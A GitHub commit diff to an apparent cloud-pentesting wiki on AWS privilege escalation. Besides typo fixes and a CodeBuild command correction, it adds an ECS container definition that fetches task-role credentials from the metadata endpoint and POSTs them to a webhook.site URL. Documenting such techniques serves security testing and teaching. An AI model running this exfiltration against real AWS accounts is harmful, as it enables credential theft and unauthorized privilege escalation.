Skip to content

Commit b42e886

Browse files
authored
Merge pull request #178 from courtneyimbert/fix/arte-courtneybell-corrections
arte-courtneybell
2 parents 841622e + a50b7ba commit b42e886

4 files changed

Lines changed: 46 additions & 3 deletions

File tree

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -225,7 +225,7 @@ JSON="{
225225

226226
printf "$JSON" > $REV_PATH
227227

228-
aws codebuild update-project --cli-input-json file://$REV_PATH
228+
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
229229

230230
aws codebuild start-build --project-name codebuild-demo-project
231231
```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@ More **info about ECS** in:
1414

1515
An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
1616

17+
{{#tabs }}
18+
{{#tab name="Reverse Shell" }}
1719
```bash
1820
# Generate task definition with rev shell
1921
aws ecs register-task-definition --family iam_exfiltration \
@@ -34,6 +36,47 @@ aws ecs run-task --task-definition iam_exfiltration \
3436
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
3537
```
3638

39+
{{#endtab }}
40+
41+
{{#tab name="Webhook" }}
42+
43+
Create a webhook with a site like webhook.site
44+
45+
```bash
46+
47+
# Create file container-definition.json
48+
[
49+
{
50+
"name": "exfil_creds",
51+
"image": "python:latest",
52+
"entryPoint": ["sh", "-c"],
53+
"command": [
54+
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
55+
]
56+
}
57+
]
58+
59+
# Run task definition, uploading the .json file
60+
aws ecs register-task-definition \
61+
--family iam_exfiltration \
62+
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
63+
--network-mode "awsvpc" \
64+
--cpu 256 \
65+
--memory 512 \
66+
--requires-compatibilities FARGATE \
67+
--container-definitions file://container-definition.json
68+
69+
# Check the webhook for a response
70+
71+
# Delete task definition
72+
## You need to remove all the versions (:1 is enough if you just created one)
73+
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
74+
75+
```
76+
{{#endtab }}
77+
78+
{{#endtabs }}
79+
3780
**Potential Impact:** Direct privesc to a different ECS role.
3881

3982
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@ An attacker could subscribe or to an SNS topic, potentially gaining unauthorized
2828
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
2929
```
3030

31-
**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic.
31+
**Potential Impact**: Unauthorized access to messages (sensitive info), service disruption for applications relying on the affected topic.
3232

3333
### `sns:AddPermission`
3434

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ Or you could also go to the API AWS documentation and check each action docs:
2525

2626
### `states:TestState` & `iam:PassRole`
2727

28-
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
28+
An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
2929

3030
```bash
3131
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

0 commit comments

Comments
 (0)